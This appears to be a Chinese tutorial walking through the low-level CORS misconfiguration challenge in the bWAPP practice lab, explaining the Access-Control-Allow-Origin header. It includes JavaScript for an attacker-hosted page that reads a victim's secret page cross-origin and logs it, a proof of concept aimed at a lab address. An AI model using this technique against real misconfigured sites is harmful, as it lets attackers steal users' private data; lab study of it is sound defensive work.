CORS
CORS(Cross-origin resource sharing),又称跨域资源共享。CORS的内容不叙述,可以阅读MDN文档。或者,阅读这篇文章:跨域资源共享 CORS 详解,同时还需要了解同源策略。CORS是一种实现ajax跨域加载资源的机制,如果CORS配置不当,就可能出现安全问题。是否存在安全问题,需要关注的响应头是:Access-Control-Allow-Origin,它确定了可以访问页面的来源。
BWAPP的CORS测试
low级别
1、主页面,点击 secret 跳转页面。
image
2、假设这是用户的页面,攻击者的目的是盗取里面的sercet内容。查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin头可以看出服务器配置了CORS," * "表示所有的源服务器都可以加载这个页面上的资源。既然如此,攻击者直接发送一个自己构造的页面链接给用户,用户点击后,攻击页面使用ajax就可以直接读取另一个网站的敏感信息。
网站页面
HTTP响应头
window.onload = function(){
var xhr =new XMLHttpRequest(); // 创建AJAX的对象
// 设置使用的请求方式
xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true);
xhr.send(); // 发送请求
xhr.onreadystatechange=function(){
if(xhr.readyState === 4 ){ // 状态 4 表示服务器已响应
// 判断正常的响应结果的状态码
if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
console.log(xhr.responseText); // 获取响应体内容
}else{
console.log('0');
}
}
}
}
4、用户点击这个链接,加载test.html页面,里面的js代码就会执行,然后发送请求,处理响应结果。可以看到,控制台输出的信息就是另一个网站的页面信息。
攻击者服务器上的页面